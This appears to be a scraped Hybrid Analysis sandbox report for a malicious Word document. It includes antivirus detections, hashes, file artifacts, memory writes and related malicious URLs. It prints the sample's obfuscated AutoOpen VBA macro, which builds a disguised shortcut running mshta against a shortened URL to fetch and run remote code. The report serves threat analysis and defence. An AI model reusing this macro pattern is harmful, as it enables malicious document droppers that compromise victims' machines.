24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4bf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TROJ_FR.9DB1664B Sample 169aa92015d3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 169aa92015d3…. Malware family: TROJ_FR.9DB1664B. Threat score 100/100. 15/28 AV engines flagged this file. 7 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334","keywords":["Malicious","TROJ_FR.9DB1664B","malware analysis","sandbox report","threat intelligence","169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334"],"about":{"@type":"SoftwareApplication","name":"169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334.doc","applicationCategory":["doc","office"],"identifier":"169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TROJ_FR.9DB1664B","antivirusDetections":{"malicious":15,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":7},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4c7,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "" File "NewMacros.bas" (Streampath: "Macros/VBA/NewMacros") has code: "Sub AutoOpen() Dim http_obj Dim stream_obj Dim shell_obj Dim wS As String Dim lf As String Dim nlf As String Dim orgf As String wS = "Ws" Sw = "\sta" lf = "C:\Users\public" & "\ReadMe.txt.lnk" wS = wS & "cr" Sw = Sw & "rtofd" wS = wS & "ip" WW = "\Pa" nlf = "C:\Windows\Explorer.exe " & lf wS = wS & "t.Sh" Sw = Sw & "oc" wS = wS & "ell" WW = WW & "ge" Set s = CreateObject(wS) Set ol = s.CreateShortcut(lf) ol.TargetPath = "mshta.exe" ol.Arguments = "https://bit" & "." ol.IconLocation = "notepad.exe 0" ol.Arguments = ol.Arguments & "ly/2KZGHST" ol.WindowStyle = "7" ol.Save Set shell_obj = CreateObject("WScript.Shell") shell_obj.Run nlf If (ActiveDocument.Range.Information(wdNumberOfPagesInDocument) < 3) Then GoTo Hel GoTo Nept Hel: ActiveDocument.Bookmarks(Sw).Select ActiveDocument.Bookmarks(WW).Range.Delete ActiveDocument.Content.Font.Hidden = False Nept: End Sub"26:T6c8,"169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Thu Jun 25 04:30:36 2020 mtime=Thu Jun 25 04:30:36 2020 atime=Thu Jun 25 04:30:44 2020 length=476672 window=hide" "ReadMe.txt.lnk" has type "MS Windows shortcut Item id list present Has Relative path Has command line arguments Icon number=0 ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hidenormalshowminimized" "~_9aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334.doc" has type "data" "index.dat" has type "data" "~WRS_49466B9E-67A6-49AC-A20B-0685BDE48956_.tmp" has type "data" "~WRS_BDCB0B84-15F2-4511-ACBF-F8800FDE1CD3_.tmp" has type "data" "~WRD0001.tmp" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.1 Code page: 1252 Title: Cryptocurrencies and blockchain Subject: European Parliament DG IPOL Policy department A Author: Prof. Dr. Robby HOUBEN Alexander SNYERS (University of Antwerp Research Group Business & Law Belgium) Template: Normal Last Saved By: HAPUBWS Revision Number: 7 Name of Creating Application: Microsoft Office Word Total Editing Time: 05:03:00 Last Printed: Thu Aug 16 18:14:00 2018 Create Time/Date: Thu Aug 16 18:16:00 2018 Last Saved Time/Date: Thu Jun 25 07:31:00 2020 Number of Pages: 18 Number of Words: 1201 Number of Characters: 6847 Security: 0" "ExcludeDictionaryEN0409.lex" has type "Little-endian UTF-16 Unicode text with no line terminators" "~WRD0000.tmp" has type "Composite Document File V2 Document Cannot read section info" "~WRS_23701DF9-D580-458B-95F6-915D5AC71CEB_.tmp" has type "data"27:T6d0,"WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{23701DF9-D580-458B-95F6-915D5AC71CEB}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{49466B9E-67A6-49AC-A20B-0685BDE48956}.tmp" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BDCB0B84-15F2-4511-ACBF-F8800FDE1CD3}.tmp" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{8EFDC2F7-7013-4291-9272-443D65063CE9}.tmp"28:Ta29,"WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFCB385A4" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "92684932a94ad601" to virtual address "0xF33F0160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "40130000" to virtual address "0xFCB38478" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "fe0700006891a3fefe0700009091a3fefe0700000091a3fefe0700007090a3fefe070000b091a3fefe070000e090a3fefe070000d091a3fefe0700002091a3fefe07000050443938000000000000000000000000000000000000000000000000" to virtual address "0x004B9EAC" "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFE5350C0" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "48b81016d0f3fe070000ffe0" to virtual address "0xFCB21000" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "51968c33a94ad601" to virtual address "0xECBA71C0" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "e94b9fef00cccccccccc" to virtual address "0xFD4D6230" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFCB38468" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "40130000" to virtual address "0xFCB38538" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e933efef00cccc" to virtual address "0xFD4D1210" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "bffaa11da94ad601" to virtual address "0x3F3D3258" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" to virtual address "0x004B9B5C" "WINWORD.EXE" wrote bytes "e9abc0ef00cc" to virtual address "0xFD4D4060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "78de8e33a94ad601" to virtual address "0xF410FA00" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "4013b2fcfe070000" to virtual address "0xFCB3FE48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013b2fcfe070000" to virtual address "0xFCB3FB10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "48b8bc524ee8fe070000ffe0" to virtual address "0x76F59020" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "0010b2fcfe070000" to virtual address "0xFCB3FB18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0000000000000000000000000000000000004100000000004400610074006100000016005200310000000000000000001000526f616d696e67003c0008000400efbe00000000000000002a000000000000000000000000000000000000000000" to virtual address "0x004B9A8C"29:Td55,Found malicious artifacts related to "67.199.248.10": ... URL: https://bit.ly/2zgJW8C (AV positives: 1/79 scanned on 06/25/2020 06:31:31) URL: http://bit.ly/2U0zBEd (AV positives: 1/79 scanned on 06/25/2020 06:30:24) URL: https://bit.ly/2AH2Kio (AV positives: 1/79 scanned on 06/25/2020 06:28:29) URL: http://bit.ly/2TvmNna (AV positives: 2/79 scanned on 06/25/2020 06:24:21) URL: https://bit.ly/2B5ZD3q (AV positives: 1/79 scanned on 06/25/2020 06:21:26) File SHA256: 6ac030afa6aa5092ad84eeeedb38cec87f62285a4596a8e3143d5ecf30094b4a (Date: 06/25/2020 06:22:31) File SHA256: 7129945418067eedc4336c004841b85a5935f5f9b950c2c37ac97981965b2211 (Date: 06/25/2020 05:52:09) File SHA256: 486734a53d0c151614636696d87023551902c414f9bf2193e8d4ecc146a8e92e (Date: 06/25/2020 05:04:32) File SHA256: b0ae00040e8d888ba0e6e079d477259531f5c5e006030ac06555a31e0796adf8 (Date: 06/25/2020 04:39:31) File SHA256: cea8b8bcabe0271acb39dd13c5a754cfe155f4f93755ef666fbacc5238f6c27e (Date: 06/25/2020 04:06:20) File SHA256: 71670abb0acdf1bfa61aebdb2ac4583d6db7eda74d956a76e023fc725d1403c8 (AV positives: 4/76 scanned on 06/24/2020 15:00:48) File SHA256: 68fcd14e219db0317ce96985ee18034ac135bb8237b7504ba42d001dafdc320a (AV positives: 52/76 scanned on 06/24/2020 03:32:39) File SHA256: e9e2d8ec44342279237983199f6acbbb67166c25a7f6ceeef42ad667720909cc (AV positives: 43/76 scanned on 06/23/2020 06:23:52) File SHA256: b11dbaf0dd37dd4079bfdb0c6246e53bc75b25b3a260c380bb92fcaec30ec89b (AV positives: 16/75 scanned on 06/23/2020 19:47:32) File SHA256: 52a4902a9e2422f54c3febc418d2ddd6a2d25eb022d44edd2d598d67e2ef970b (AV positives: 3/75 scanned on 06/23/2020 14:33:26) Found malicious artifacts related to "67.199.248.15": ... URL: https://bitly.com/2X744SN (AV positives: 8/79 scanned on 06/25/2020 03:27:45) URL: https://bitly.com/a/warning?hash=314hGBE&url=https://customersupportcenter.co.in/Confirm+Your+Account+information/ (AV positives: 1/79 scanned on 06/25/2020 01:49:33) URL: https://bitly.com/2WiA4nB (AV positives: 1/79 scanned on 06/25/2020 01:10:18) URL: https://bitly.com/2SOXMGa (AV positives: 1/79 scanned on 06/25/2020 01:06:59) URL: http://bitly.com/2Aa5m7G (AV positives: 1/79 scanned on 06/25/2020 01:05:06) File SHA256: b11dbaf0dd37dd4079bfdb0c6246e53bc75b25b3a260c380bb92fcaec30ec89b (AV positives: 16/75 scanned on 06/23/2020 19:47:32) File SHA256: 8a482f2271a42c5f54c96e816a84340a6f2357a5b81f927d07d00788f5140a41 (AV positives: 1/76 scanned on 06/17/2020 18:54:18) File SHA256: cdc8b52c9402b72ef9c698027c0d2ea63058ed98b832a31d3ac57c9e7f8b35ed (AV positives: 1/75 scanned on 06/16/2020 17:00:22) File SHA256: b9fed815b13aa945080221f47da7de268c9c06143db69611632e3eb0049c956f (AV positives: 1/75 scanned on 06/16/2020 20:36:30) File SHA256: 92ea1cf2d6bb1aab6da9ed300546e568050913525d41fe693c63b12c39e54b05 (Date: 06/12/2020 11:20:55) File SHA256: 4e26eca4df3317a21ffeabe6b7a8831583089f69350dad85d5efdefe6b9e975e (Date: 06/04/2020 04:33:21) File SHA256: 4f3784869fddb2a99be060934319c7c0197df50e122f2f9dbd0219f3992c08dc (Date: 05/25/2020 16:22:52) File SHA256: 0ff0b7fcb090c65d0bdcb2af4bbd2c30f33356b3ce9b117186fa20391ef840a3 (AV positives: 7/74 scanned on 05/19/2020 04:44:45) File SHA256: 2aff9feaa36bc47ba52742c5f46c0df68c0ec417c3e74ce3f0bfd505854854b1 (Date: 05/06/2020 07:23:38) File SHA256: 596912ff850808df480b2d5467c858ff0dcb3c45732aa218d80df3ee7695cd7d (Date: 04/20/2020 02:48:14)2a:Td55,Found malicious artifacts related to "67.199.248.10": ... URL: https://bit.ly/2zgJW8C (AV positives: 1/79 scanned on 06/25/2020 06:31:31) URL: http://bit.ly/2U0zBEd (AV positives: 1/79 scanned on 06/25/2020 06:30:24) URL: https://bit.ly/2AH2Kio (AV positives: 1/79 scanned on 06/25/2020 06:28:29) URL: http://bit.ly/2TvmNna (AV positives: 2/79 scanned on 06/25/2020 06:24:21) URL: https://bit.ly/2B5ZD3q (AV positives: 1/79 scanned on 06/25/2020 06:21:26) File SHA256: 6ac030afa6aa5092ad84eeeedb38cec87f62285a4596a8e3143d5ecf30094b4a (Date: 06/25/2020 06:22:31) File SHA256: 7129945418067eedc4336c004841b85a5935f5f9b950c2c37ac97981965b2211 (Date: 06/25/2020 05:52:09) File SHA256: 486734a53d0c151614636696d87023551902c414f9bf2193e8d4ecc146a8e92e (Date: 06/25/2020 05:04:32) File SHA256: b0ae00040e8d888ba0e6e079d477259531f5c5e006030ac06555a31e0796adf8 (Date: 06/25/2020 04:39:31) File SHA256: cea8b8bcabe0271acb39dd13c5a754cfe155f4f93755ef666fbacc5238f6c27e (Date: 06/25/2020 04:06:20) File SHA256: 71670abb0acdf1bfa61aebdb2ac4583d6db7eda74d956a76e023fc725d1403c8 (AV positives: 4/76 scanned on 06/24/2020 15:00:48) File SHA256: 68fcd14e219db0317ce96985ee18034ac135bb8237b7504ba42d001dafdc320a (AV positives: 52/76 scanned on 06/24/2020 03:32:39) File SHA256: e9e2d8ec44342279237983199f6acbbb67166c25a7f6ceeef42ad667720909cc (AV positives: 43/76 scanned on 06/23/2020 06:23:52) File SHA256: b11dbaf0dd37dd4079bfdb0c6246e53bc75b25b3a260c380bb92fcaec30ec89b (AV positives: 16/75 scanned on 06/23/2020 19:47:32) File SHA256: 52a4902a9e2422f54c3febc418d2ddd6a2d25eb022d44edd2d598d67e2ef970b (AV positives: 3/75 scanned on 06/23/2020 14:33:26) Found malicious artifacts related to "67.199.248.15": ... URL: https://bitly.com/2X744SN (AV positives: 8/79 scanned on 06/25/2020 03:27:45) URL: https://bitly.com/a/warning?hash=314hGBE&url=https://customersupportcenter.co.in/Confirm+Your+Account+information/ (AV positives: 1/79 scanned on 06/25/2020 01:49:33) URL: https://bitly.com/2WiA4nB (AV positives: 1/79 scanned on 06/25/2020 01:10:18) URL: https://bitly.com/2SOXMGa (AV positives: 1/79 scanned on 06/25/2020 01:06:59) URL: http://bitly.com/2Aa5m7G (AV positives: 1/79 scanned on 06/25/2020 01:05:06) File SHA256: b11dbaf0dd37dd4079bfdb0c6246e53bc75b25b3a260c380bb92fcaec30ec89b (AV positives: 16/75 scanned on 06/23/2020 19:47:32) File SHA256: 8a482f2271a42c5f54c96e816a84340a6f2357a5b81f927d07d00788f5140a41 (AV positives: 1/76 scanned on 06/17/2020 18:54:18) File SHA256: cdc8b52c9402b72ef9c698027c0d2ea63058ed98b832a31d3ac57c9e7f8b35ed (AV positives: 1/75 scanned on 06/16/2020 17:00:22) File SHA256: b9fed815b13aa945080221f47da7de268c9c06143db69611632e3eb0049c956f (AV positives: 1/75 scanned on 06/16/2020 20:36:30) File SHA256: 92ea1cf2d6bb1aab6da9ed300546e568050913525d41fe693c63b12c39e54b05 (Date: 06/12/2020 11:20:55) File SHA256: 4e26eca4df3317a21ffeabe6b7a8831583089f69350dad85d5efdefe6b9e975e (Date: 06/04/2020 04:33:21) File SHA256: 4f3784869fddb2a99be060934319c7c0197df50e122f2f9dbd0219f3992c08dc (Date: 05/25/2020 16:22:52) File SHA256: 0ff0b7fcb090c65d0bdcb2af4bbd2c30f33356b3ce9b117186fa20391ef840a3 (AV positives: 7/74 scanned on 05/19/2020 04:44:45) File SHA256: 2aff9feaa36bc47ba52742c5f46c0df68c0ec417c3e74ce3f0bfd505854854b1 (Date: 05/06/2020 07:23:38) File SHA256: 596912ff850808df480b2d5467c858ff0dcb3c45732aa218d80df3ee7695cd7d (Date: 04/20/2020 02:48:14)2b:T92c,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:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791521021146,"unified_at":"2026-10-09T04:43:41.146Z","metadata":{"hashes":{"sha256":"169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334","sha1":"f532df98d3598786f2135894a7143eea3d095bbc","md5":"ce9030dd0ce0c3872f5b59088e9a3362","sha512":"d8b5525b470505d319d23270ed6ff403c2c635076e470346f57db1ea9dcbee9ce1dbd895aaea74a95bacc17506b46ab3dfd0be802a2e7a96bc13e9282b7c97bf","ssdeep":"12288:nEJq/uZVANhbfxFF7rXJsWKDFlj+EJq/:nozShlFF7rXOBV+","ssdeep_chunks":["12288:nEJq/uZ","12288:EJq/uZV","12288:Jq/uZVA","12288:q/uZVAN","12288:/uZVANh","12288:uZVANhb","12288:ZVANhbf","12288:VANhbfx","12288:ANhbfxF","12288:NhbfxFF","12288:hbfxFF7","12288:bfxFF7r","12288:fxFF7rX","12288:xFF7rXJ","12288:FF7rXJs","12288:F7rXJsW","12288:7rXJsWK","12288:rXJsWKD","12288:XJsWKDF","12288:JsWKDFl","12288:sWKDFlj","12288:WKDFlj+","12288:KDFlj+E","12288:DFlj+EJ","12288:Flj+EJq","12288:lj+EJq/","24576:nEJq/uZ","24576:EJq/uZV","24576:Jq/uZVA","24576:q/uZVAN","24576:/uZVANh","24576:uZVANhb","24576:ZVANhbf","24576:VANhbfx","24576:ANhbfxF","24576:NhbfxFF","24576:hbfxFF7","24576:bfxFF7r","24576:fxFF7rX","24576:xFF7rXJ","24576:FF7rXJs","24576:F7rXJsW","24576:7rXJsWK","24576:rXJsWKD","24576:XJsWKDF","24576:JsWKDFl","24576:sWKDFlj","24576:WKDFlj+","24576:KDFlj+E","24576:DFlj+EJ","24576:Flj+EJq","24576:lj+EJq/","12288:nozShlF","12288:ozShlFF","12288:zShlFF7","12288:ShlFF7r","12288:hlFF7rX","12288:lFF7rXO","12288:FF7rXOB","12288:F7rXOBV","12288:7rXOBV+"],"imphash":"Unknown"},"file_info":{"file_name":"169aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334.doc","file_type":["doc","office"],"file_type_id":"doc","file_size":476672,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1593067044000,"last_seen":1683551610000,"last_multi_scan":1683551610000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious","targetedcrimeware","macros-on-open"]},"stats":{"av":{"malicious_count":15,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":9},"sandbox_signatures":{"informative_count":20,"suspicious_count":7,"malicious_count":7,"total":34},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Script.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/Macro.Downloader.MRKI.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"W97m.Downloader.IBF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"W97m.Downloader.IBF (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDownloader.Agent.THM trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Script.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"RDN/Generic Downloader.x","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Ole2.Vbs-heuristic.druvzi","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-ZMO","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/met